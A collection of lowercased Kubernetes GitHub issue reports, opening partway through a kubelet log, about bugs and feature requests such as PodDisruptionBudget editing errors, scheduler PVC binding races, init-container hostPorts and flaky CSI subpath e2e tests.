cluster:0xc42021c640} liverestoreenabled:false isolation: initbinary:docker-init containerdcommit:{id: expected:aa8187dbd3b7ad67d8e5e3a15115d3eef43a7ed1} runccommit:{id:n/a expected:9df8b306d01f59d3a8029be411de015b7304dd8f} initcommit:{id:n/a expected:949e6facb77383876aeff8a6944dde66b3089574} securityoptions: name=seccomp,profile=/etc/docker/seccomp.json }\r i0406 17:50:25.585775   37124 docker_service.go:262  setting cgroupdriver to systemd\r i0406 17:50:25.601360   37124 remote_runtime.go:43  connecting to runtime service unix:///var/run/dockershim.sock\r i0406 17:50:25.602766   37124 kuberuntime_manager.go:186  container runtime docker initialized, version: 1.13.1, apiversion: 1.26.0\r i0406 17:50:25.603164   37124 csi_plugin.go:61  kubernetes.io/csi: plugin initializing...\r e0406 17:50:25.605131   37124 event.go:209  unable to write event: 'post https://10.7.101.22:6443/api/v1/namespaces/default/events: dial tcp 10.7.101.22:6443: getsockopt: connection refused'  may retry after sleeping \r e0406 17:50:25.605193   37124 kubelet.go:1277  image garbage collection failed once. stats initialization may not have completed yet: failed to get imagefs info: unable to find data for container /\r i0406 17:50:25.605526   37124 fs_resource_analyzer.go:66  starting fs resourceanalyzer\r i0406 17:50:25.605546   37124 status_manager.go:140  starting to sync pod status with apiserver\r i0406 17:50:25.605559   37124 kubelet.go:1777  starting kubelet main sync loop.\r i0406 17:50:25.605572   37124 kubelet.go:1794  skipping pod synchronization -  container runtime is down pleg is not healthy: pleg was last seen active 2562047h47m16.854775807s ago; threshold is 3m0s \r i0406 17:50:25.605684   37124 server.go:129  starting to listen on 0.0.0.0:10250\r i0406 17:50:25.606213   37124 server.go:299  adding debug handlers to kubelet server.\r i0406 17:50:25.607357   37124 volume_manager.go:247  starting kubelet volume manager\r w0406 17:50:25.608735   37124 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r e0406 17:50:25.608839   37124 kubelet.go:2125  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r i0406 17:50:25.609746   37124 server.go:944  started kubelet\r i0406 17:50:25.610136   37124 desired_state_of_world_populator.go:129  desired state populator starts to run\r i0406 17:50:25.705745   37124 kubelet.go:1794  skipping pod synchronization -  container runtime is down \r i0406 17:50:25.707538   37124 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r i0406 17:50:25.709672   37124 kubelet_node_status.go:82  attempting to register node app197\r e0406 17:50:25.710002   37124 kubelet_node_status.go:106  unable to register node \ app197\  with api server: post https://10.7.101.22:6443/api/v1/nodes: dial tcp 10.7.101.22:6443: getsockopt: connection refused\r i0406 17:50:25.905891   37124 kubelet.go:1794  skipping pod synchronization -  container runtime is down \r i0406 17:50:25.910135   37124 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r i0406 17:50:25.912181   37124 kubelet_node_status.go:82  attempting to register node app197\r e0406 17:50:25.912466   37124 kubelet_node_status.go:106  unable to register node \ app197\  with api server: post https://10.7.101.22:6443/api/v1/nodes: dial tcp 10.7.101.22:6443: getsockopt: connection refused\r i0406 17:50:26.306058   37124 kubelet.go:1794  skipping pod synchronization -  container runtime is down \r i0406 17:50:26.312597   37124 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r i0406 17:50:26.314787   37124 kubelet_node_status.go:82  attempting to register node app197\r e0406 17:50:26.315065   37124 kubelet_node_status.go:106  unable to register node \ app197\  with api server: post https://10.7.101.22:6443/api/v1/nodes: dial tcp 10.7.101.22:6443: getsockopt: connection refused\r e0406 17:50:26.563942   37124 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://10.7.101.22:6443/api/v1/pods?fieldselector=spec.nodename%3dapp197&limit=500&resourceversion=0: dial tcp 10.7.101.22:6443: getsockopt: connection refused\r e0406 17:50:26.566383   37124 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://10.7.101.22:6443/api/v1/nodes?fieldselector=metadata.name%3dapp197&limit=500&resourceversion=0: dial tcp 10.7.101.22:6443: getsockopt: connection refused\r e0406 17:50:26.567562   37124 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://10.7.101.22:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 10.7.101.22:6443: getsockopt: connection refused\r i0406 17:50:27.106249   37124 kubelet.go:1794  skipping pod synchronization -  container runtime is down \r i0406 17:50:27.115222   37124 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r i0406 17:50:27.117572   37124 kubelet_node_status.go:82  attempting to register node app197\r e0406 17:50:27.117943   37124 kubelet_node_status.go:106  unable to register node \ app197\  with api server: post https://10.7.101.22:6443/api/v1/nodes: dial tcp 10.7.101.22:6443: getsockopt: connection refused\r e0406 17:50:27.564441   37124 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://10.7.101.22:6443/api/v1/pods?fieldselector=spec.nodename%3dapp197&limit=500&resourceversion=0: dial tcp 10.7.101.22:6443: getsockopt: connection refused\r e0406 17:50:27.566728   37124 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://10.7.101.22:6443/api/v1/nodes?fieldselector=metadata.name%3dapp197&limit=500&resourceversion=0: dial tcp 10.7.101.22:6443: getsockopt: connection refused\r e0406 17:50:27.567860   37124 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://10.7.101.22:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 10.7.101.22:6443: getsockopt: connection refused\r e0406 17:50:27.597802   37124 certificate_manager.go:299  failed while requesting a signed certificate from the master: cannot create certificate signing request: post https://10.7.101.22:6443/apis/certificates.k8s.io/v1beta1/certificatesigningrequests: dial tcp 10.7.101.22:6443: getsockopt: connection refused\r i0406 17:50:27.635577   37124 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r i0406 17:50:27.637859   37124 cpu_manager.go:155   cpumanager  starting with none policy\r i0406 17:50:27.637870   37124 cpu_manager.go:156   cpumanager  reconciling every 10s\r i0406 17:50:27.637878   37124 policy_none.go:42   cpumanager  none policy: start\r e0406 17:50:28.564950   37124 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://10.7.101.22:6443/api/v1/pods?fieldselector=spec.nodename%3dapp197&limit=500&resourceversion=0: dial tcp 10.7.101.22:6443: getsockopt: connection refused\r e0406 17:50:28.567044   37124 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://10.7.101.22:6443/api/v1/nodes?fieldselector=metadata.name%3dapp197&limit=500&resourceversion=0: dial tcp 10.7.101.22:6443: getsockopt: connection refused\r e0406 17:50:28.568199   37124 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://10.7.101.22:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 10.7.101.22:6443: getsockopt: connection refused\r i0406 17:50:28.706488   37124 kubelet.go:1794  skipping pod synchronization -  container runtime is down \r i0406 17:50:28.718111   37124 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r i0406 17:50:28.720150   37124 kubelet_node_status.go:82  attempting to register node app197\r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.10\r - cloud provider or hardware configuration:\r vmware\r - os  e.g. from /etc/os-release :\r centos 7.4\r - kernel  e.g.  uname -a  :\r 3.10.0-693.21.1.el7.x86_64\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r - poddisruptionbudget provides inappropriate message and cannot be updated as  disruptedpods  is required filed.\r \r   what you expected to happen  :\r \r -  kubectl edit pdb <pdb_name>  works fine for editing labels under  metatdata . also, produce correct error message when edit  spec  field.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r      1. create pdb\r \r ~~~\r   kubectl create pdb my-pdb --selector=app=nginx --min-available=50%\r ~~~\r \r      2. edit the pdb\r \r ~~~\r   kubectl edit pdb my-pdb\r // e.g update label under metadata\r   labels:\r     foo: bar\r   name: my-pdb\r ~~~\r \r then, we will get following error after step-2.\r \r ~~~\r   poddisruptionbudgets.policy \ my-pdb\  was not valid:\r     : invalid value: \ the edited file failed validation\ : validationerror poddisruptionbudget.status : missing required field \ disruptedpods\  in io.k8s.api.policy.v1beta1.poddisruptionbudgetstatus\r ~~~\r \r      expected:\r \r - when edit  spec , it should provide correct message as  updates to poddisruptionbudget spec are forbidden. .\r \r ~~~\r   poddisruptionbudgets.policy \ my-pdb\  was not valid:\r     spec: forbidden: updates to poddisruptionbudget spec are forbidden.\r ~~~\r \r - when edit  metadata  especially labels under metadata, they should be updated without error.\r \r   anything else we need to know?  :\r \r according to the code comment,  disruptedpods: null  is valid.\r \r https://github.com/kubernetes/kubernetes/blob/feeee5036321db39fbbf1132c2fc6e31491058a9/pkg/apis/policy/types.go l71-l73\r \r   environment  :\r - kubernetes version  use  kubectl version  : build on feeee5036321db39fbbf1132c2fc6e31491058a9\r

with docker 1.10, you can create a filter for syscalls that the container is allowed to execute, mainly to reduce the kernel attack surface and make it harder to use a privilege escalation vulnerability in the kernel code.   for containers that we provide  master components, add-ons  where we know the expected syscall surface we should explore locking them down by limiting the system calls that they can make.   /cc @stephenr

under kubernetes/cluster/addons/dns/ namely  here  url=https://github.com/kubernetes/kubernetes/tree/release-1.2/cluster/addons/dns how-do-i-test-if-it-is-working  please update the following line  kubectl exec busybox -- nslookup kubernetes.default  to be instead  kubectl exec -ti busybox -- nslookup kubernetes.default  without the -ti the command will hang without any output from the command being reported to the user. for many months i thought that dns wasn't working.

this is reporting the same issue as  14104, i will attempt to include more information for clarity. while i'm assuming this is a configuration issue that can be easily solved by configuring  docker-machine  with more memory, the comment in the previous bug report leads me to suspect this might be an unexpected result. -  sw_vers -productversion : 10.11.4 -  vboxmanage --version : 5.0.18r106667 -  docker-machine version :  docker-machine version 0.7.0, build a650a40  steps to reproduce: 1.  git clone https://github.com/kubernetes/kubernetes.git  2.  cd kubernetes  3.  git checkout 9db45590cfaa0ae5cb658e49b70e443324b2d6c7  4.  make release   output: https://gist.github.com/brandonweeks/8b6c512fb743813d3f001f10528bf53f  /cc @alex-mohr

the current e2e framework allows one to add test cases to run at some point during the e2e run.   i want to run something like a \ side car\  test, which runs periodically along with other e2e tests. if it failed at some point, then log it fail during \ what e2e tests are running\  and \ what e2e tests have finished\  at that point.   side car tests are useful for ensuring firewall configuration, network configuration and network performance. this basically applies to anything that should always work and does not expect to be disrupted by other work flows.   any ideas? @kubernetes/sig-testing   ref: https://github.com/kubernetes/kubernetes/issues/31827

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  ---    is this a bug report or feature request?    choose one :  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : 1.4    environment  : ubuntu wily  15  -   cloud provider or hardware configuration  :   local pc -   os    e.g. from /etc/os-release : -   kernel    e.g.  uname -a  :   4.2.0-30-generic  35-ubuntu smp  -   install tools  :   http://kubernetes.io/docs/getting-started-guides/kubeadm/ -   others  :    what happened  : at the step  kubeadm init  blocks at  \ waiting for the control plane to become ready\  forever    what you expected to happen  :    how to reproduce it    as minimally and precisely as possible :    anything else do we need to know  : i am following the instruction of http://kubernetes.io/docs/getting-started-guides/kubeadm/. block for at least one day.

problem  as of now, the scheduler is slated to make lots of events  per pod  especially on failures.   20064 attempts to improve the quality of data for scheduling, and may or may not reuse the existing hacky events based data channel .... specifically, in the scheduler, we need to spam less events...  solution - _event is a report of an event somewhere in the cluster._ is the current definition of an event,  we need to make it more precise to discourage spam :   - this means, _put a  schedulinginfo  or similar struct onto pod objects, that supports meta-scheduling info, that graduates to a first class api call_, so that we dont need to spam the event channel w/ bulk decision info for pods. - this  schedulinginfo  data structure  would generate a small amount of data attached to each pod.  rather than a large amount of global events data.    re:  schedulinginfo  possibly there is stuff we can reuse in scheduling types.go, will look into it more

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : build/run.sh make clean\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : i am building from the release-1.5 branch\r \r \r   environment  : i am building on my mac\r -   cloud provider or hardware configuration  : none\r -   os    e.g. from /etc/os-release : macos 10.12.2\r -   kernel    e.g.  uname -a  :  darwin xxx.ibm.com 16.3.0 darwin kernel version 16.3.0: thu nov 17 20:23:58 pst 2016; root:xnu-3789.31.2~1/release_x86_64 x86_64 \r -   install tools  : none\r -   others  : docker version 1.12.5, build 7392c3b; 4 gb allocated to the docker vm\r \r \r   what happened  :\r i read in https://github.com/kubernetes/kubernetes/blob/788804142f1b3323523500c2932f511284b6eae9/build/readme.md key-scripts about using  build/run.sh make .  it lists some example make targets to use; it _does not_ list any targets to avoid.  so i thought i would start by cleaning up any mess that might be laying around, assuming the usual convention for that works.\r \r    \r mjs10:~ mspreitz$ cd $gopath\r \r mjs10:go mspreitz$ ls -l src\r total 8\r drwxr-xr-x   3 mspreitz  staff  102 aug  4  2015 9fans.net\r drwxr-xr-x   4 mspreitz  staff  136 jul 13  2016 code.google.com\r drwxr-xr-x  21 mspreitz  staff  714 nov 21 09:36 github.com\r drwxr-xr-x   3 mspreitz  staff  102 jan 12 13:54 github.ibm.com\r lrwxr-xr-x   1 mspreitz  staff   20 jan 18 12:54 k8s.io -> github.com/kuberetes\r \r mjs10:go mspreitz$ cd src/github.com/kubernetes/kubernetes\r \r mjs10:kubernetes mspreitz$ git status\r on branch release-1.5\r your branch is up-to-date with 'origin/release-1.5'.\r nothing to commit, working tree clean\r \r mjs10:kubernetes mspreitz$ git rev-parse head\r f0c2af20c13ab25b7fe4eec00fb11d417ef3a31d\r \r mjs10:kubernetes mspreitz$ docker ps -a\r container id        image               command             created             status              ports               names\r \r mjs10:kubernetes mspreitz$ build/run.sh make clean\r +++  0118 13:01:30  verifying prerequisites....\r +++  0118 13:01:30  using docker for macos\r +++  0118 13:01:31  building docker image kube-build:build-789f1328e3-4-v1.7.4-0\r +++  0118 13:02:59  keeping image kube-build:build-789f1328e3-4-v1.7.4-0\r +++  0118 13:02:59  creating data container kube-build-data-789f1328e3-4-v1.7.4-0\r +++  0118 13:03:01  syncing sources to container\r +++  0118 13:03:01  stopping any currently running rsyncd container\r +++  0118 13:03:01  starting rsyncd container\r +++  0118 13:03:02  running rsync\r +++  0118 13:03:08  stopping any currently running rsyncd container\r +++  0118 13:03:09  running build command...\r +++  0118 13:03:10  verifying prerequisites....\r !!!  0118 13:03:10  can't find 'docker' in path, please fix and retry.\r !!!  0118 13:03:10  see https://docs.docker.com/installation/ installation for installation instructions.\r !!! error in build/make-clean.sh:151\r   'return 1' exited with status 1\r call stack:\r   1: build/make-clean.sh:151 main ... \r exiting with status 1\r makefile:207: recipe for target 'clean' failed\r make:      clean  error 1\r !!! error in build/../build/common.sh:523\r   '\ ${docker_cmd @ }\  \ ${cmd @ }\ ' exited with status 2\r call stack:\r   1: build/../build/common.sh:523 kube::build::run_build_command_ex ... \r   2: build/../build/common.sh:515 kube::build::run_build_command ... \r   3: build/run.sh:30 main ... \r exiting with status 1\r    \r \r   what you expected to happen  :\r i expected that either  build/run.sh make clean  works or that doc would warn me against trying it.  yes, i later discovered that the doc mentions  build/make-clean.sh  --- after having the above problem.\r \r   how to reproduce it    as minimally and precisely as possible :\r what i showed above is pretty direct and from-scratch.\r \r   anything else do we need to know  :\r \r

browser clients do not have the ability to set an authorization header programatically on websocket requests. all they have control over is the url and the websocket subprotocols sent  see https://developer.mozilla.org/en-us/docs/web/api/websocket

it would be really useful to be able to make an assertion in a test that a particular item was waiting for requeue in a rate-limited workqueue.  this would allow a unit test for a controller method to ensure that the controller had correctly requeued a workitem.\r \r  

tl;dr, we need test fixtures that can generate valid objects for testing.  in  3854, we migrated the defaulting logic from the validation code to the decoder. as a result of that, many tests broke because they didn't expect the result object would be populated with default values.  these test follow such a pattern: 1. define an \ expected\  object 2. do the actual testing and produce an \ actual\  object 3. compare the actual object with the expected object use  api.semantic.deepequal     the expected object doesn't have all the fields filled, while the actual object would be populated with default values. in most cases, the test doesn't care about the default values. they only want to know the fields set in the expected object are the same as those in the actual object.  to avoid having to set every field  which has a default value  in the expect object, i added a  api.semantic.deepderivative x, y   function. this function returns true if  y  is a derivative of  x   note: the use of derivative is not very precise here . this means that if a field in  x  is set, the same field in  y  must be set to the same value. however, if a field in  x  is not set, we don't care what value is set in  y .  the real solution to fix all this tests is to have some sort of test fixtures that can generate valid objects for testing. this would also clean up our test code quite a lot, and we can get rid of the  deepderivative  function.  /cc @bgrant0607, @lavalamp

we plan to eliminate conditions from the api, see  7856\r \r replicaset only has one condition: \ replicafailure\ :\r   condition status is only set to  true  in the controller code\r   condition reason is either \ failedcreate\  or \ faileddelete\ . \r   condition message contains the error returned from  managereplicas   \r \r plan to remove replicaset  .status.conditions  field, use a new status field  replicafailure bool  to represent the replicafailure condition, and use events to capture last transition time, reason and message. \r \r @kubernetes/sig-apps-api-reviews \r

we are working migrating ipv4 to ipv6, we should support ipv6 for ipvs. we should do the following things:\r \r   remove ipv4 constraints of node ips  52935 \r \r   remove ipv4 in pkg/util/ipvs  53120 \r \r   use ipv6 conntrack tools\r \r   use ipv6 iptables tools\r \r <!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   \r /assign @m1093782566  \r /cc @danehans\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r ~~flexvolume will call  os.remove    to cleanup the mount directory. this will return error when there're files in the mount directory.~~\r \r but in  some implementation of flexvolume  https://github.com/kubernetes/frakti/blob/master/pkg/flexvolume/flexvolume.go , we need to write a file to store some metadata since flexvolume binary is \ run once\  and can not share information between two operations  e.g.  mount  and  unmount  etc . \r \r it seems like the  unmount  is skipped somehow and left uncleaned metadata file there.\r \r   what you expected to happen  :\r \r the directory been cleaned.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

kubelet print the log continuously when i upgrade from 1.8.1 to 1.8.3\r @dashpole \r \r     \r nov 14 10:09:46 kubelet-1 kubelet 22453 : w1114 10:09:46.653787   22453 helpers.go:847  eviction manager: no observation found for eviction signal allocatablenodefs.available\r nov 14 10:09:56 kubelet-1 kubelet 22453 : w1114 10:09:56.705634   22453 helpers.go:847  eviction manager: no observation found for eviction signal allocatablenodefs.available\r nov 14 10:10:06 kubelet-1 kubelet 22453 : w1114 10:10:06.741054   22453 helpers.go:847  eviction manager: no observation found for eviction signal allocatablenodefs.available\r nov 14 10:10:16 kubelet-1 kubelet 22453 : w1114 10:10:16.808738   22453 helpers.go:847  eviction manager: no observation found for eviction signal allocatablenodefs.available\r nov 14 10:10:26 kubelet-1 kubelet 22453 : w1114 10:10:26.879146   22453 helpers.go:847  eviction manager: no observation found for eviction signal allocatablenodefs.available\r     \r \r     \r conditions:\r   type             status  lastheartbeattime                 lasttransitiontime                reason                       message\r   ----             ------  -----------------                 ------------------                ------                       -------\r   outofdisk        false   tue, 14 nov 2017 10:11:01 +0800   sat, 14 oct 2017 17:07:12 +0800   kubelethassufficientdisk     kubelet has sufficient disk space available\r   memorypressure   false   tue, 14 nov 2017 10:11:01 +0800   mon, 13 nov 2017 15:21:41 +0800   kubelethassufficientmemory   kubelet has sufficient memory available\r   diskpressure     false   tue, 14 nov 2017 10:11:01 +0800   mon, 13 nov 2017 15:21:41 +0800   kubelethasnodiskpressure     kubelet has no disk pressure\r   ready            true    tue, 14 nov 2017 10:11:01 +0800   mon, 13 nov 2017 15:21:51 +0800   kubeletready                 kubelet is posting ready status\r     \r \r \r     \r filesystem           size  used avail use% mounted on\r /dev/mapper/cl-root  100g  5.6g   95g   6% /\r devtmpfs              63g     0   63g   0% /dev\r tmpfs                 63g     0   63g   0% /dev/shm\r tmpfs                 63g  131m   63g   1% /run\r tmpfs                 63g     0   63g   0% /sys/fs/cgroup\r /dev/sda2            2.0g  186m  1.9g  10% /boot\r /dev/mapper/cl-home  145g  159m  145g   1% /home\r     \r \r   environment:  \r \r - kubernetes version: 1.8.3\r - docker version: 17.03.2-ce\r - os: centos linux release 7.4.1708  core  \r - kernel version: 3.10.0-693.2.2.el7.x86_64\r \r

i found that kubelet will not allocate hostports specified from initcontainers.\r and podfitshostports in kube-scheduler does not take initcontainer into consideration.\r \r also, kube-apiserver think such pod is illegal, but i think it ok.\r    \r $ cat two-files-counter-pod-streaming-sidecar.yaml \r apiversion: v1\r kind: pod\r metadata:\r   name: counter\r spec:\r   hostname: name\r   subdomain: subdomain\r   initcontainers:\r   - name: init-step1\r     image: busybox\r     args:\r     - /bin/sh\r     - -c\r     - >\r       sleep 10;\r     ports:\r       - containerport: 8081\r         hostport: 8081\r   - name: init-step2\r     image: busybox\r     args:\r     - /bin/sh\r     - -c\r     - >\r       sleep 10;\r     ports:\r       - containerport: 8081\r         hostport: 8081      this port does not conflict with the previous one, because initcontainer runs in sequential order.\r   containers:\r   containers:\r   - name: count\r     image: busybox\r     args:\r     - /bin/sh\r     - -c\r     - >\r       i=0;\r       while true;\r       do\r         i=$  i+1  ;\r         sleep $i;\r       done\r $ kubectl create -f two-files-counter-pod-streaming-sidecar.yaml \r the pod \ counter\  is invalid: spec.initcontainers 1 .ports 0 .hostport: duplicate value: \ tcp//8081\ \r    \r \r we should make the behavior of spec.hostports in initcontainer clear

https://github.com/kubernetes/kubernetes/blob/master/test/e2e/common/container_probe.go l281\r \r - should we just yank the conformance tag?

the recent 5k-performance run  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/177  failed due to high latency of delete rc calls:\r \r    \r warning top latency metric: {resource:replicationcontrollers subresource: verb:delete scope:namespace latency:{perc50:4.303ms perc90:14.717ms perc99:1.165474s perc100:0s} count:5050}\r    \r \r this might be a flake  we'll know that soon  or a regression. @wojtek-t suspects that it maybe related to change enabling advanced audit-logging in our tests  https://github.com/kubernetes/test-infra/pull/8604 . but we need to investigate.\r \r cc @kubernetes/sig-scalability-bugs @mborsz @krzysied

is this a bug report or feature request?  :\r \r   \r \r \r   what happened  :\r when one node is not ready in k8s cluster,the pv in the node can not detach,so i want to update the node status to detach the volume,in this way ,my pv will attach to another node,my question is how to update the node status,what is the command?\r \r   what you expected to happen  :\r  i want to update the node status to detach the volume\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.9.5\r - os  e.g. from /etc/os-release :centos7.4\r \r  @vaikas-google

is this a bug report or feature request?  :\r >  \r   what happened  :\r type  kubectl ...  commands in bash shell, there is no auto-complete.\r \r   what you expected to happen  :\r - type  kubectl  in a os shell  e.g., bash , a shell opens  like spark-shell \r -  kubectl  is omitted for every command\r -   auto-complete     e.g., when you type a space, a dropdown list of  apply|create| delete|get...  etc is displayed; when you select  get , it displays a dropdown of  pod|service|..  etc; when you select  pod , it displays the pod names list. \r - immediate syntax checking.\r \r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r   \r   what happened  :\r i run 50 nginx containers on a single node cluster via deployment with 50 replicas. those containers have a volumemount via pvc backed by hostpath   /data/kubernetes/tokens  . sometimes  kube-scheduler  leaves some pods in  pending  state, while some get to  running  state. error is that it pvc is not bound, yet describing said pvc, it is bound and used by said pod  and 49 others .\r \r deleting pod in question helps  new copy gets scheduled , and so does restarting scheduler container, leading to conclusion that it is a bug in scheduler itself.\r \r   what you expected to happen  :\r all 50 containers always schedule successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r edit: reproduced with minikube: https://github.com/kubernetes/kubernetes/issues/73216 issuecomment-457204530\r \r nginx deployment.yaml used: https://gist.github.com/tuminoid/56f939e5a06a16be72bbd155ecc75b2f\r \r   anything else we need to know?  :\r logs, describes etc: https://gist.github.com/tuminoid/5e6367070eb95d45c0d59550b888cd0e\r \r sometimes all pods come up, sometimes only some, and in this example, it got stuck after it had scheduled only one. getting stuck after one is very special case, but maybe underlines the issue that it is somehow random/racy.\r \r maybe relevant issues/prs?\r  72045,   71551\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.4\ , gitcommit:\ f49fa022dbe63faafd0da106ef7e05a29721d3f1\ , gittreestate:\ clean\ , builddate:\ 2018-12-14t07:10:00z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.4\ , gitcommit:\ f49fa022dbe63faafd0da106ef7e05a29721d3f1\ , gittreestate:\ clean\ , builddate:\ 2018-12-14t06:59:37z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r reproduces on 1.13.1+, 1.12.4+ and 1.14.0-alpha1.\r \r - cloud provider or hardware configuration: minikube / self-rolled vm\r - os  e.g. from /etc/os-release : minikube / rhel 7.6\r - kernel  e.g.  uname -a  :  linux kubesingle 3.10.0-957.1.3.el7.x86_64  1 smp thu nov 15 17:36:42 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools: minikube  kubeadm  / manual\r - others: \r

which jobs are failing  :\r _w/ testgrid links_\r     gce-cos-master-default   https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-default   a.k.a.  ci-kubernetes-e2e-gci-gce  \r     gce-cos-1.14-default   https://testgrid.k8s.io/sig-release-1.14-blocking gce-cos-1.14-default   a.k.a.  ci-kubernetes-e2e-gce-cos-k8sbeta-default  \r \r these jobs are release-blocking; at the moment of writing this, they're flaking ~70%-80% of the time  not solely because of these tests , making it really hard to extract ci signal and make release blocking decisions based on them.\r \r   which test s  are failing  :\r _the following numbers are estimated from ~ the last 2 weeks' worth of builds_\r \r | test |   failures in  gce-cos-master-default  | % failures in  gce-cos-master-default  |   failures in  gce-cos-1.14-default  | % failures in  gce-cos-1.14-default  |\r |---|---|---|---|---|\r   sig-storage  csi volumes  driver: csi-hostpath   testpattern: dynamic pv  default fs   subpath should verify container cannot write to subpath readonly volumes  | 29 | 6.58% | 23 | 6.99%\r   sig-storage  csi volumes  driver: csi-hostpath-v0   testpattern: dynamic pv  default fs   subpath should verify container cannot write to subpath readonly volumes  | 44 | 9.98% | 27 | 8.21%\r \r   though the individual test flake rates are low compared to that of the job they're part of,   sig-storage  csi volumes .  subpath should verify container cannot write to subpath readonly volumes  tests:\r     flaked 15% of the time, contributing to about 22% of flakes in  ci-kubernetes-e2e-gci-gce \r     flaked about 14% of the time, contributing to about 21% of flakes in  ci-kubernetes-e2e-gce-cos-k8sbeta-default \r \r   reason for failure  :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/subpath.go:375\r while waiting for subpath failure\r expected error:\r     < errors.errorstring | 0xc000ad1dc0>: {\r         s: \ subpath container unexpectedly became running\ ,\r     }\r     subpath container unexpectedly became running\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/subpath.go:714\r    \r \r   main questions  \r   what can be done to stabilize these tests?\r   is there a chance that flakes in these tests hint at any instability in the code they cover? some examples could be race conditions, operations that need retries etc.\r \r   bonus question  \r   how much of what's covered in these e2e tests is covered elsewhere  unit tests/presubmits etc. ? hypothetically speaking, which  if any  tests could be _safely_ removed from these jobs without losing coverage?\r \r   anything else we need to know  :\r   part of https://github.com/kubernetes/kubernetes/issues/74960\r   triage links for up-to-date stats on flakiness of these tests\r      master  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gci-gce%24&test=%20should%20verify%20container%20cannot%20write%20to%20subpath%20readonly%20volumes \r      1.14  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-cos-k8sbeta-default%24&test=%20should%20verify%20container%20cannot%20write%20to%20subpath%20readonly%20volumes \r \r cc 